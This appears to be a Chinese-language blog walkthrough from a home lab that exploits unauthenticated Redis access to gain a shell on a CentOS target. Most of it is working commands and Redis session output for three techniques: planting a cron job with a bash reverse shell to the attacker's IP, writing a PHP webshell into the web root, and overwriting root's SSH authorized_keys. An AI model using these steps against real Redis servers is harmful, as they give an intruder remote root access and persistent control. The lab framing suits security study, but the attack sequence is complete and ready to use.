Redis 未授权访问 getshll

Redis 未授权访问


靶机:centos 6.5
攻击机:kali 2020

安装 Redis

下载安装包进行安装

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

修改配置文件,使可以远程访问

vim redis.conf
bind 127.0.0.1前面加上#号 protected-mode设为no 启动redis-server
./src/redis-server redis-conf

将protected-mode 修改为 no,默认为yes 开启保护模式
将bind 127.0.0.1注释掉 或改为0.0.0.0 允许外部访问

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后可以使用 Redis 权限进行写文件或修改计划任务等操作。

kali 安装 redis-cli

下载 redis-cli
wget http://download.redis.io/redis-stable.tar.gz

解压缩
tar -zxvf redis-stable.tar.gz

进入目录安装

cd redis-stable/
make
sudo cp src/redis-cli /usr/bin/

常规使用指令
redis-cli -h 目标主机IP地址 -p 端口号

Redis 常见 getshell 方法

  1. 反弹 shell
garden@guess:~/Desktop/redis-stable$ redis-cli -h 192.168.216.129
192.168.216.129:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.216.128/1998 0>&1\n"
OK
192.168.216.129:6379> CONFIG SET dir /var/spool/cron/
OK
192.168.216.129:6379> config set dbfilename root
OK
192.168.216.129:6379> save
OK

接着攻击机执行,等一下就会反弹 shell 回来

nc -lvvp 1998

reverse shell.png

  1. 写入 webshell
192.168.216.129:6379> CONFIG SET dir /var/www/html
OK
192.168.216.129:6379> config set dbfilename shell.php
OK
192.168.216.129:6379> set x "\r\n\r\n<?php phpinfo(); ?>\r\n\r\n"
OK
192.168.216.129:6379> save
OK

\r\n代表换行,redis写入的文件会自带一些版本信息,所以要换行,否则可能运行失败
phpinfo.png

  1. 写入 SSH 密钥
    当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
    攻击机生成 ssh 公钥和私钥,并且格式化写入 redis
ssh-keygen -t rsa
(echo -e "\r\n\r\n;" cat id_rsa.pub; echo -e "\r\n\r\n") > 1.txt
cat 1.txt | redis-cli -h 192.168.216.129 -x set x

连接 redis 服务:redis-cli -h 192.168.216.129

192.168.216.129:6379> CONFIG GET dir
1) "dir"
2) "/redis-3.2.0"
192.168.216.129:6379> CONFIG set dir /root/.ssh
OK
192.168.216.129:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.216.129:6379> CONFIG set dbfilename authorized_keys
OK
192.168.216.129:6379> save
OK

在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.216.129

ps:

  1. 安装 Redis 时可能会报错: /bin/sh: cc: command not found
    解决方案
sudo yum -y install gcc gcc-c++ libstdc++-devel 
make MALLOC=libc

或者

make distclean
make
  1. kali 无法扫描到靶机开放端口
    cant scan.png
    用 ping 指令或者 nmap 等端口探测无法探测到开放的 6379 端口,可能是 centos 本身自带的iptable 进行了拦截,运行如下指令关闭 iptable
    sudo iptables -F
    生产环境不要这样设置

  2. 报错 Fatal error, can't open config file 'restart'
    重启 Redis 的时候报错
    ps -ef | grep -i redis
    kill -9 进程号
    再重新启动一下就好了
    ./src/redis-server redis-conf

posted @ 2020-09-18 17:19  楼下的小可怜-w0x68y  阅读(308)  评论(0编辑  收藏  举报